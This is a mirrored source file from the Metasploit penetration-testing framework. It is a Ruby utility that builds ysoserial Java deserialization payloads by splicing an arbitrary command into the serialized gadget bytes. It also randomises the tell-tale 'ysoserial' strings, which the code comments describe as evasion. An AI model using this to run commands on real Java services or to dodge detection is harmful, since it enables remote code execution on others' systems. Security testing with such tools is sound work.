CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/java_deserialization.rb
Views: 1904
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
6
require 'json'
7
8
class JavaDeserialization
9
10
PAYLOAD_FILENAME = "ysoserial_payloads.json"
11
12
def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
13
payloads_json = load_ysoserial_data(modified_type)
14
15
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
16
payload = payloads_json[payload_name]
17
18
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?
19
20
# Based on the status, we'll raise an exception, return a static payload, or
21
# generate a dynamic payload with modifications at the specified offsets
22
case payload['status']
23
when 'unsupported'
24
# This exception will occur most commonly with complex payloads that require more than a string
25
raise ArgumentError, 'ysoserial payload is unsupported'
26
when 'static'
27
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
28
return Rex::Text.decode_base64(payload['bytes'])
29
when 'dynamic'
30
raise ArgumentError, 'missing command parameter' if command.nil?
31
32
bytes = Rex::Text.decode_base64(payload['bytes'])
33
34
# Insert buffer
35
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
36
bytes[buffer_offset - 1] += command
37
38
# Overwrite length (multiple times, if necessary)
39
length_offsets = payload['lengthOffset']
40
length_offsets.each do |length_offset|
41
# Extract length as a 16-bit unsigned int, then add the length of the command string
42
length = bytes[(length_offset-1)..length_offset].unpack('n').first
43
length += command.length.ord
44
length = [length].pack("n")
45
bytes[(length_offset-1)..length_offset] = length
46
end
47
48
# Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
49
bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
50
bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))
51
52
return bytes
53
else
54
raise RuntimeError, 'Malformed JSON file'
55
end
56
end
57
58
def self.ysoserial_payload_names(modified_type: 'none')
59
payloads_json = load_ysoserial_data(modified_type)
60
payloads_json.keys
61
end
62
63
class << self
64
private
65
66
def load_ysoserial_data(modified_type)
67
# Open the JSON file and parse it
68
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
69
begin
70
json = JSON.parse(File.read(path, mode: 'rb'))
71
rescue Errno::ENOENT, JSON::ParserError
72
raise RuntimeError, "Unable to load JSON data from: #{path}"
73
end
74
75
# Extract the specified payload type (including cmd, bash, powershell, none)
76
payloads_json = json[modified_type.to_s]
77
if payloads_json.nil?
78
raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
79
end
80
81
payloads_json
82
end
83
end
84
85
end # JavaDeserialization
86
end # Util
87
end # Msf
88
89